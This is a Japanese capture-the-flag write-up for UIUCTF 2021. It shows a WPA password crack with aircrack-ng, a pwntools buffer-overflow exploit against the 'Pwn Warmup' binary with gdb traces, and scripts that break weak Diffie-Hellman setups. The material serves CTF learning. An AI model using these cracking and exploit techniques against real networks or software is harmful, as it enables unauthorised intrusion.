UIUCTF 2021 Writeup

この大会は2021/7/31 9:00(JST)~2021/8/2 9:00(JST)に開催されました。
今回もチームで参戦。結果は1024点で658チーム中83位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to UIUCTF'21 (meta)

Challengesのページの背景画像をダウンロードする。画像の左下の方にフラグが書いてあった。
f:id:satou-y:20210805073704p:plain

uiuctf{secret_pictures}

Join our Discord (meta)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

uiuctf{y0u_j01n3d_tH3_dIsCorD!!!}

CEO (misc)

無線通信のcapファイルが添付されているので、パスワードをクラックする。

$ aircrack-ng -w dict/rockyou.txt megacorp-01.cap 
Opening megacorp-01.cap
Read 1914 packets.

   #  BSSID              ESSID                     Encryption

   1  E4:95:6E:45:90:24  joesheer                  WPA (1 handshake)

Choosing first network as target.

Opening megacorp-01.cap
Reading packets, please wait...

                                 Aircrack-ng 1.2 rc4

      [00:17:31] 3235192/9822769 keys tested (3189.21 k/s) 

      Time left: 34 minutes, 25 seconds                         32.94%

                        KEY FOUND! [ nanotechnology ]


      Master Key     : 12 71 F9 32 8F FA BF E0 E2 80 F5 D3 F8 E0 A7 C0 
                       73 E1 BB 0C AE 51 08 DA CF FD D3 7A 79 04 73 15 

      Transient Key  : C9 9A 13 11 AC A8 3E 65 76 21 6F F1 89 B2 E2 BE 
                       D9 6C 1C CF AC 16 F6 95 E1 93 05 94 A2 43 EC 52 
                       A8 AB C7 46 C5 45 71 16 5F 1C 82 27 1E 8C B2 B6 
                       7E 03 33 6A 16 E3 15 4E 39 4E EC 4F DB 35 3C CF 

      EAPOL HMAC     : 06 C0 57 DC F4 DD 8F 2C F5 98 99 19 9E E3 45 32
uiuctf{nanotechnology}

emote (misc)

Discordで:emote:の絵文字をダウンロードする。
f:id:satou-y:20210805074119p:plain
16x16の画像で、左からインデックス0と8の列はすべて黒になっている。黒を0、白を1としてデコードする。

from PIL import Image

img = Image.open('emote.png').convert('L')
w, h = img.size

bin_flag = ''
for y in range(0, h):
    for x in range(0, w):
        gray = img.getpixel((x, y))
        if gray == 0:
            bin_flag += '0'
        else:
            bin_flag += '1'

flag = ''
for i in range(0, len(bin_flag), 8):
    flag += chr(int(bin_flag[i:i+8], 2))
print flag
uiuctf{staring_at_pixels_is_fun}

Pwn Warmup (pwn)

Ghidraでデコンパイルする。

void main(void)

{
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts("This is SIGPwny stack3, go");
  printf("&give_flag = %p\n",give_flag);
  vulnerable();
  return;
}

void vulnerable(void)

{
  char buf [8];
  
  gets(buf);
  return;
}

void give_flag(void)

{
  FILE *__stream;
  int iVar1;
  char c;
  FILE *f;
  
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Couldn\'t open flag file!");
  }
  else {
    while( true ) {
      iVar1 = fgetc(__stream);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  fclose(__stream);
  return;
}

BOFでgive_flag関数を呼び出せばよい。

$ file challenge 
challenge: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=034b38782406afc6cc18a821825f450b3f104091, with debug_info, not stripped

$ checksec.sh --file challenge
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   challenge

$ gdb -q challenge
Reading symbols from challenge...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
EAX: 0xf7faedd8 --> 0xffffd0cc --> 0xffffd296 ("CLUTTER_IM_MODULE=xim")
EBX: 0x0 
ECX: 0xffffd030 --> 0x1 
EDX: 0xffffd054 --> 0x0 
ESI: 0xf7fad000 --> 0x1d4d8c 
EDI: 0x0 
EBP: 0xffffd018 --> 0x0 
ESP: 0xffffd010 --> 0xf7fe5960 (push   ebp)
EIP: 0x8048642 (<main+17>:	mov    eax,ds:0x8049a00)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804863c <main+11>:	mov    ebp,esp
   0x804863e <main+13>:	push   ecx
   0x804863f <main+14>:	sub    esp,0x4
=> 0x8048642 <main+17>:	mov    eax,ds:0x8049a00
   0x8048647 <main+22>:	push   0x0
   0x8048649 <main+24>:	push   0x2
   0x804864b <main+26>:	push   0x0
   0x804864d <main+28>:	push   eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd010 --> 0xf7fe5960 (push   ebp)
0004| 0xffffd014 --> 0xffffd030 --> 0x1 
0008| 0xffffd018 --> 0x0 
0012| 0xffffd01c --> 0xf7df0f21 (<__libc_start_main+241>:	add    esp,0x10)
0016| 0xffffd020 --> 0xf7fad000 --> 0x1d4d8c 
0020| 0xffffd024 --> 0xf7fad000 --> 0x1d4d8c 
0024| 0xffffd028 --> 0x0 
0028| 0xffffd02c --> 0xf7df0f21 (<__libc_start_main+241>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, main () at challenge.c:27
27	challenge.c: そのようなファイルやディレクトリはありません.
gdb-peda$ p &give_flag
$1 = (void (*)()) 0x80485ab <give_flag>
gdb-peda$ disas vulnerable
Dump of assembler code for function vulnerable:
   0x0804861a <+0>:	push   ebp
   0x0804861b <+1>:	mov    ebp,esp
   0x0804861d <+3>:	sub    esp,0x18
   0x08048620 <+6>:	sub    esp,0xc
   0x08048623 <+9>:	lea    eax,[ebp-0x10]
   0x08048626 <+12>:	push   eax
   0x08048627 <+13>:	call   0x8048420 <gets@plt>
   0x0804862c <+18>:	add    esp,0x10
   0x0804862f <+21>:	leave  
   0x08048630 <+22>:	ret    
End of assembler dump.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ c
Continuing.
This is SIGPwny stack3, go
&give_flag = 0x80485ab
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL 

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xffffcff8 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EBX: 0x0 
ECX: 0xf7fad5c0 --> 0xfbad208b 
EDX: 0xf7fae89c --> 0x0 
ESI: 0xf7fad000 --> 0x1d4d8c 
EDI: 0x0 
EBP: 0x41434141 ('AACA')
ESP: 0xffffd010 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41412d41 ('A-AA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412d41
[------------------------------------stack-------------------------------------]
0000| 0xffffd010 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd014 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd018 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd01c ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd020 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffd024 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffd028 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffd02c ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412d41 in ?? ()
gdb-peda$ patto A-AA
A-AA found at offset: 20

任意の文字の20バイトの後に、give_flag関数のアドレスを指定すればよい。

from pwn import *

if len(sys.argv) == 1:
    p = remote('pwn-warmup.chal.uiuc.tf', 1337)
else:
    p = process('./challenge')

if len(sys.argv) == 1:
    round = 3
else:
    round = 2

for _ in range(round):
    data = p.recvline().rstrip()
    print data
give_flag_addr = int(data.split(' ')[-1], 16)

payload = 'A' * 20
payload += p32(give_flag_addr)
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to pwn-warmup.chal.uiuc.tf on port 1337: Done
== proof-of-work: disabled ==
This is pwn_warmup, go
&give_flag = 0x565df2ad
AAAAAAAAAAAAAAAAAAAA\xad�]V
uiuctf{k3b0ard_sp@m_do3snT_w0rk_anYm0r3}
[*] Closed connection to pwn-warmup.chal.uiuc.tf port 1337
uiuctf{k3b0ard_sp@m_do3snT_w0rk_anYm0r3}

back_to_basics (crypto)

暗号処理の概要は以下の通り。

・ALPHABET = bytearray(b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#")
・encrypt(flag, key)
 ・out = flag
 ・keyの各文字について以下を実行
  ・keyの文字のALPHABETインデックス(=base)でoutをエンコード

1回ずつ次の暗号が復号可能な文字列になるよう復号していく。

#!/usr/bin/python3
from Crypto.Util.number import long_to_bytes, bytes_to_long
from gmpy2 import mpz, to_binary

ALPHABET = bytearray(b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#")

def base_n_decode(bytes_in, base):
    try:
        bytes_out = to_binary(mpz(bytes_in, base=base))[:1:-1]
        return bytes_out
    except:
        return b'*'

def is_alphabet(bytes):
    for b in bytes:
        if b not in ALPHABET:
             return False
    return True

with open('flag_enc', 'r') as f:
    enc = f.read().encode()

fin = False
while True:
    base = ALPHABET.index(max(enc)) + 1
    for j in range(len(ALPHABET) - base):
        try_enc = base_n_decode(enc, base)
        if is_alphabet(try_enc):
            enc = try_enc
            break
        if b'uiuctf{' in try_enc:
            fin = True
            flag = try_enc.decode()
            break
        base += 1
    if fin:
        break

print(flag)
uiuctf{r4DixAL}

dhke_intro (crypto)

暗号化処理の概要は以下の通り。

・gpList = [ [13, 19], [7, 17], [3, 31], [13, 19], [17, 23], [2, 29] ]
・g, pをgpListから選択
・a, b: 1~pランダム整数
・k = pow(g, a * b, p)
・padding = "uiuctf2021uiuctf2021"
・key + kの長さが16になるようpadding文字を結合
・iv: kono DIO daaaaaa
・flagをAES-CFB暗号化して出力

g, p, a, bのブルートフォースで復号する。

#!/usr/bin/python3
from Crypto.Cipher import AES
import binascii

with open('output.txt', 'r') as f:
    ciphertext = binascii.unhexlify(f.read().rstrip())

gpList = [ [13, 19], [7, 17], [3, 31], [13, 19], [17, 23], [2, 29] ]
padding = 'uiuctf2021uiuctf2021'

found = True
for g, p in gpList:
    for a in range(1, p + 1):
        for b in range(1, p + 1):
            k = pow(g, a * b, p)
            k = str(k)
            key = ''
            i = 0
            while (16 - len(key) != len(k)):
                key = key + padding[i]
                i += 1
            key = key + k
            key = bytes(key, encoding='ascii')

            iv = bytes('kono DIO daaaaaa', encoding = 'ascii')
            cipher = AES.new(key, AES.MODE_CFB, iv)
            flag = cipher.decrypt(ciphertext)
            if b'uiuctf{' in flag:
                print(flag.decode())
                found = True
                break
        if found:
            break
    if found:
        break
uiuctf{omae_ha_mou_shindeiru_b9e5f9}

dhke_adventure (crypto)

Pohlig–Hellman algorithmが使えるような1024~2048bitの素数を探す。http://lupus.is.kochi-u.ac.jp/shiota/mc2020/L14.htmlに掲載されている値を使う。

p = 2258968316115259531236612710706864812801625388363886419505487896413704583382991502282273274396238423791479079706354652138857156035724251041017314131706386506243212885895864440421288806441673565124738377440599931624404714724436345388982983221338004707455459667648391257564119040000000000000000000000000000000001

あとはsageに離散対数問題を解かせる。その後、そのデータを使って鍵を生成して、フラグを復号する。

#!/usr/bin/sage
import socket
from Crypto.Cipher import AES
from hashlib import sha256

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

g = 2
p = 2258968316115259531236612710706864812801625388363886419505487896413704583382991502282273274396238423791479079706354652138857156035724251041017314131706386506243212885895864440421288806441673565124738377440599931624404714724436345388982983221338004707455459667648391257564119040000000000000000000000000000000001

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('dhke-adventure.chal.uiuc.tf', 1337))

data = recvuntil(s, ': \n').rstrip()
print data
print p
s.sendall(str(p) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
dio = int(data.split(' ')[-1])
data = recvuntil(s, '\n').rstrip()
print data
jotaro = int(data.split(' ')[-1])
data = recvuntil(s, '\n').rstrip()
print data
ciphertext = data.split(' ')[-1].decode('hex')

R = IntegerModRing(p)
b = discrete_log(R(jotaro), R(g))
assert pow(g, b, p) == jotaro

key = pow(dio, b, p)
key = sha256(str(key)).digest()

iv = 'uiuctf2021uiuctf'
cipher = AES.new(key, AES.MODE_CFB, iv)
flag = cipher.decrypt(ciphertext)
print flag

実行結果は以下の通り。

I'm too lazy to find parameters for my DHKE, choose for me.
Enter prime at least 1024 at most 2048 bits:
2258968316115259531236612710706864812801625388363886419505487896413704583382991502282273274396238423791479079706354652138857156035724251041017314131706386506243212885895864440421288806441673565124738377440599931624404714724436345388982983221338004707455459667648391257564119040000000000000000000000000000000001
Dio sends:  1495696239940174296288493196835526491973717627747404440401033115232648877531495173133980952396655155915666299346658808112733771649385053102602900836465539745099144839819648845220910232523426537010664778100704880452741331239259343180782079213625710807963603075650165357037371233170666685718574460258789507262545
Jotaro sends:  1171845002749125006738213337566790124360651688965354279230219030478749472899184560419706363444005208474996095767774076717761575841830699890688099007838448415981091449859897959563239760739492824759217715256495311363166612842073570294858918576912601587095830895972681525659845801438447977676230840425615763501488
Ciphertext:  ed4fb898ce16ff429b87f5e45b38675b9e812ea6b5348d50d799b3c87cf94d6587c3a6e71fe266fea892
uiuctf{give_me_chocolate_every_day_7b8b06}
uiuctf{give_me_chocolate_every_day_7b8b06}

Feedback Survey (meta)

アンケートに答えたら、フラグが表示された。

uiuctf{your_input_is_important_to_us_<3}